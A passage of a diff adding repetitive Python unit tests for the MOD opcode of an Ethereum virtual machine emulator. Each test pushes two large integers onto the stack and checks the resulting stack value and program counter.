+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x06'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(57896044618658097711785492504343953926634992332820282019728792003956564819952L)
+            new_vm._push(48)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [48L])
+
+    def test_MOD_36(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x06'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(57896044618658097711785492504343953926634992332820282019728792003956564819952L)
+            new_vm._push(6089590155545428825848686802984512581899718912L)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [6089590155545428825848686802984512581899718912L])
+
+    def test_MOD_37(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x06'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(3618502788666131106986593281521497120414687020801267626233049500247285301263L)
+            new_vm._push(115792089237316195423570985008687907853269984665640564039457584007913129639935L)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [3618502788666131106986593281521497120414687020801267626233049500247285300782L])
+
+    def test_MOD_38(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x06'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(3618502788666131106986593281521497120414687020801267626233049500247285301263L)
+            new_vm._push(0)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [0L])
+
+    def test_MOD_39(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x06'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(3618502788666131106986593281521497120414687020801267626233049500247285301263L)
+            new_vm._push(1)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [1L])
+
+    def test_MOD_40(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x06'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(3618502788666131106986593281521497120414687020801267626233049500247285301263L)
+            new_vm._push(57896044618658097711785492504343953926634992332820282019728792003956564819952L)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [3618502788666131106986593281521497120414687020801267626233049500247285301007L])
+
+    def test_MOD_41(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x06'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(3618502788666131106986593281521497120414687020801267626233049500247285301263L)
+            new_vm._push(3618502788666131106986593281521497120414687020801267626233049500247285301263L)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [0L])
+
+    def test_MOD_42(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x06'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(3618502788666131106986593281521497120414687020801267626233049500247285301263L)
+            new_vm._push(16)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [16L])
+
+    def test_MOD_43(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x06'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(3618502788666131106986593281521497120414687020801267626233049500247285301263L)
+            new_vm._push(32)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [32L])
+
+    def test_MOD_44(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x06'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(3618502788666131106986593281521497120414687020801267626233049500247285301263L)
+            new_vm._push(48)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [48L])
+
+    def test_MOD_45(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x06'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(3618502788666131106986593281521497120414687020801267626233049500247285301263L)
+            new_vm._push(6089590155545428825848686802984512581899718912L)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [6089590155545428825848686802984512581899718912L])
+
+    def test_MOD_46(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x06'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(16)
+            new_vm._push(115792089237316195423570985008687907853269984665640564039457584007913129639935L)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [15L])
+
+    def test_MOD_47(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x06'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(16)
+            new_vm._push(0)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [0])
+
+    def test_MOD_48(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x06'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(16)
+            new_vm._push(1)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [1])
+
+    def test_MOD_49(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x06'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(16)
+            new_vm._push(57896044618658097711785492504343953926634992332820282019728792003956564819952L)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [0L])
+
+    def test_MOD_50(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x06'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(16)
+            new_vm._push(3618502788666131106986593281521497120414687020801267626233049500247285301263L)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [15L])
+
+    def test_MOD_51(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x06'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(16)
+            new_vm._push(16)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [0])
+
+    def test_MOD_52(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x06'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(16)
+            new_vm._push(32)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [0])
+
+    def test_MOD_53(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x06'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(16)
+            new_vm._push(48)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [0])
+
+    def test_MOD_54(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x06'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(16)
+            new_vm._push(6089590155545428825848686802984512581899718912L)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [0L])
+
+    def test_MOD_55(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x06'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(32)
+            new_vm._push(115792089237316195423570985008687907853269984665640564039457584007913129639935L)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [31L])
+
+    def test_MOD_56(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x06'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(32)
+            new_vm._push(0)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [0])
+
+    def test_MOD_57(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x06'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(32)
+            new_vm._push(1)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [1])
+
+    def test_MOD_58(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x06'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(32)
+            new_vm._push(57896044618658097711785492504343953926634992332820282019728792003956564819952L)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [16L])
+
+    def test_MOD_59(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x06'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(32)
+            new_vm._push(3618502788666131106986593281521497120414687020801267626233049500247285301263L)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [15L])
+
+    def test_MOD_60(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x06'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(32)
+            new_vm._push(16)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [16])
+
+    def test_MOD_61(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x06'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(32)
+            new_vm._push(32)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [0])
+
+    def test_MOD_62(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x06'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(32)
+            new_vm._push(48)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [16])
+
+    def test_MOD_63(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x06'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(32)
+            new_vm._push(6089590155545428825848686802984512581899718912L)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [0L])
+
+    def test_MOD_64(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x06'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(48)
+            new_vm._push(115792089237316195423570985008687907853269984665640564039457584007913129639935L)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [15L])
+
+    def test_MOD_65(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x06'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(48)
+            new_vm._push(0)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [0])
+
+    def test_MOD_66(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x06'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(48)
+            new_vm._push(1)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [1])
+
+    def test_MOD_67(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x06'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(48)
+            new_vm._push(57896044618658097711785492504343953926634992332820282019728792003956564819952L)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [16L])
+
+    def test_MOD_68(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
